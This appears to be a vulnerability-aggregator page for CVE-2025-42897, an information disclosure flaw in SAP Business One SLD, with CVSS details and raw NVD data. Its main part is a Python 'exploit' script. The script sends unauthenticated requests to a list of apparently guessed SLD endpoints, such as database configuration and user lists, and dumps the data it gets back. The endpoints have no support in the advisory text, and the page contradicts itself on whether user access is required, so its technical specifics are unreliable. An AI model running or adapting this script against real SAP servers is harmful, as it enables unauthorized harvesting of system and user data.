Security Vulnerability Report
中文
CVE-2025-42897 CVSS 5.3 MEDIUM

CVE-2025-42897

Published: 2025-11-11 01:15:39
Last Modified: 2026-04-15 00:35:42

Description

Due to information disclosure vulnerability in anonymous API provided by SAP Business One (SLD), an attacker with normal user access could gain access to unauthorized information. As a result, it has a low impact on the confidentiality of the application but no impact on the integrity and availability.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

SAP Business One SLD - 所有未安装安全补丁的版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-42897 SAP Business One SLD Information Disclosure PoC # Description: Exploits unauthenticated API endpoint in SAP Business One SLD # to retrieve sensitive system configuration data import requests import json import sys def exploit_sld_info_disclosure(target_url): """ Exploit function for CVE-2025-42897 Tests anonymous API endpoint for information disclosure """ print(f"[*] Targeting: {target_url}") print(f"[*] Exploiting CVE-2025-42897 - SLD Information Disclosure\n") # Common SLD API endpoints to test endpoints = [ "/SLD/api/v1/system/info", "/SLD/api/v1/servers", "/SLD/api/v1/config/database", "/SLD/api/v1/users/list", "/SLD/api/v1/landscape/configuration" ] results = [] for endpoint in endpoints: url = target_url.rstrip('/') + endpoint print(f"[*] Testing endpoint: {endpoint}") try: # No authentication required (PR:N) response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: print(f"[+] SUCCESS: Information disclosure detected at {endpoint}") print(f"[+] Response length: {len(response.text)} bytes") try: data = response.json() results.append({ "endpoint": endpoint, "status": "VULNERABLE", "data": data }) print(f"[+] Data preview: {json.dumps(data, indent=2)[:500]}") except: results.append({ "endpoint": endpoint, "status": "VULNERABLE", "data": response.text[:1000] }) print(f"[+] Raw data preview: {response.text[:500]}") else: print(f"[-] Endpoint returned status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return results if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} https://sap-server:50000") sys.exit(1) target = sys.argv[1] exploit_sld_info_disclosure(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-42897", "sourceIdentifier": "[email protected]", "published": "2025-11-11T01:15:38.640", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Due to information disclosure vulnerability in anonymous API provided by SAP Business One (SLD), an attacker with normal user access could gain access to unauthorized information. As a result, it has a low impact on the confidentiality of the application but no impact on the integrity and availability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-522"}]}], "references": [{"url": "https://me.sap.com/notes/3652901", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}